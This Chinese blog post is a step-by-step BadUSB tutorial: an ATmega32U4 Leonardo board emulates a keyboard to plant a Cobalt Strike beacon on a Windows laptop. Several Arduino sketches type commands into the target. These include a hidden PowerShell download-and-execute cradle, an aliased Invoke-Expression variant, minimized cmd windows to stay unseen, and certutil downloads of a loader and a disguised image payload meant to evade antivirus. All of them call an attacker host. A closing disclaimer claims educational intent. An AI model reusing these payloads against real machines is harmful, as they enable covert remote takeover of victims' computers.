近源渗透之badusb上线CS(免杀)

0x00 实验环境

攻击设备:badusb

靶场:windows笔记本

 

0x01 实验前提

(1)购买badusb,购买链接:

【淘宝】「(374)32U4 虚拟键盘 Badusb Leonardo USB ATMEGA32U4开发板单片」
点击链接直接打开 或者 淘宝搜索直接打开

(2)安装Arduino IDE,一款专业的arduino开发工具,主要用于arduino程序的编写和开发,拥有开放源代码的电路图设计等,建议安装低版本,高版本在编写代码时需要加上:

#include "Keyboard.h"

 

 

0x02 实验步骤

(1)CS生成powershell一句话上线的命令:

 

 (2)注意,这里分为两步,验证与上传,验证是不需要插入badusb的,仅仅是进行编译的动作,但是上传是需要插入badusb的,还有一个需要注意,在上传代码至badusb时

需要提前选择你的usb串口:出现以下标识即为连接上了:

 

(3)这里有好几种模式的板开发,数字板与直接的板类型,有的是DigiKeyboard,有的是Keyboard,要针对不同的类型去选择,如果是Keyboard的话直接选择这两个即可,如下图,有的公众号会出现数字板:

 我们直接选择Leonordo烧录即可。

 (4)首先复制如下代码进行验证(Verify),ino内写入以下代码:因为我的IDE版本比较低,所以就不需要写 #include "Keyboard.h"

void setup() {
  Keyboard.begin();
  delay(3000);//延时
  Keyboard.press(KEY_LEFT_GUI);
  delay(200); 
  Keyboard.print("r");
  delay(200); 
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  delay(200); 
  //=========================Run==========================
  Keyboard.println("cmd");
  delay(500);
  Keyboard.println("powershell.exe -nop -w hidden -c 'IEX ((new-object net.webclient).downloadstring('http://192.168.31.242:9999/a'))'");
  //======================================================
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();//结束键盘通讯 
}

void loop() {
}

 

 

 (5)上传至badusb:

 

 (6)然后会运行一次作为示例,再次返回CS,发现已成功上线(需要等差不多30秒):

 

 (7)但是上面那个方法并不好,无法持续控制,可以修改为以下代码,程序就能一直运行:

 

void setup() {
  Keyboard.begin();
  delay(3000);//延时
  Keyboard.press(KEY_LEFT_GUI);
  delay(200); 
  Keyboard.print("r");
  delay(200); 
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  delay(200); 
  //=========================Run==========================
  Keyboard.println("cmd");
  delay(500);
  Keyboard.println("echo set-alias -name rookie -value Invoke-Expression;rookie(new-object net.webclient).downloadstring('http://192.168.31.61:9713/1.ps1') | powershell -");
  delay(5000);
  //======================================================
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();//结束键盘通讯 
}

void loop() {
}

(8)但是这个又太明显了,我们需要隐藏一下我们的dos窗口:可以使用以下命令隐藏我们的dos窗口:

void setup() {
  Keyboard.begin();
  delay(3000);//延时
  Keyboard.press(KEY_LEFT_GUI);
  delay(200); 
  Keyboard.print("r");
  delay(200); 
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.println("CMD /t:01 /k @ECHO OFF && MODE CON:cols=15 lines=1");   //使用最小化隐藏cmd窗口
  delay(200); 
  //=========================Run==========================
  Keyboard.println("cmd");
  delay(500);
  Keyboard.println("echo set-alias -name rookie -value Invoke-Expression;rookie(new-object net.webclient).downloadstring('http://192.168.31.61:9713/1.ps1') | powershell -");
  delay(5000);
  //======================================================
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();//结束键盘通讯 
}

void loop() {
}

 

 

(9)还有一个问题是一般杀软都会拦截我们的powershell执行的,隐藏我们不能直接使用这种方式上线CS,而是需要使用一个免杀马运行后上线CS,这里可以首先下载一个白的加载器,然后再下载被我们混淆过的bin文件,以图片的方式去执行,先测试一下下载白的加载器,看看会不会被杀:

 

 (10)可以看到火绒之类的是不会被杀的,然后我们在下载图片马,生成恶意的bin文件,然后使用工具对其进行编码等操作,这个可以私聊我。

 

将payload编译成s.jpg上线CS:

 (11)此时我们不仅能保证免杀,窗口隐藏不被发现,还能不使用powershell的方式(powershell容易被杀软拦截)成功上线CS:

 

void setup() {
  Keyboard.begin();
  delay(3000);//延时
  Keyboard.press(KEY_LEFT_GUI);
  delay(200); 
  Keyboard.print("r");
  delay(200); 
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.println("CMD /t:01 /k @ECHO OFF && MODE CON:cols=15 lines=1");   //使用最小化隐藏cmd窗口
  delay(200); 
  //=========================Run==========================
  Keyboard.println("cmd");
  delay(500);
  Keyboard.println("certutil -urlcache -split -f http://192.168.31.61:9713/s.exe d:\s.exe");
  Keyboard.println("certutil -urlcache -split -f http://192.168.31.61:9713/s.jpg d:\s.jpg");
  Keyboard.println("d:\s.exe d:\s.jpg");
  delay(5000);
  //======================================================
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();//结束键盘通讯 
}

void loop() {
}

 

 

 

0x03 免责说明

本文章仅用于学习、工作与兴趣爱好,并立志为网络安全奉献一份力量,凡是利用本博客相关内容的无良hackers造成的安全事故均与本人无关!

posted @ 2023-08-12 23:24  铺哩  阅读(983)  评论(0编辑  收藏  举报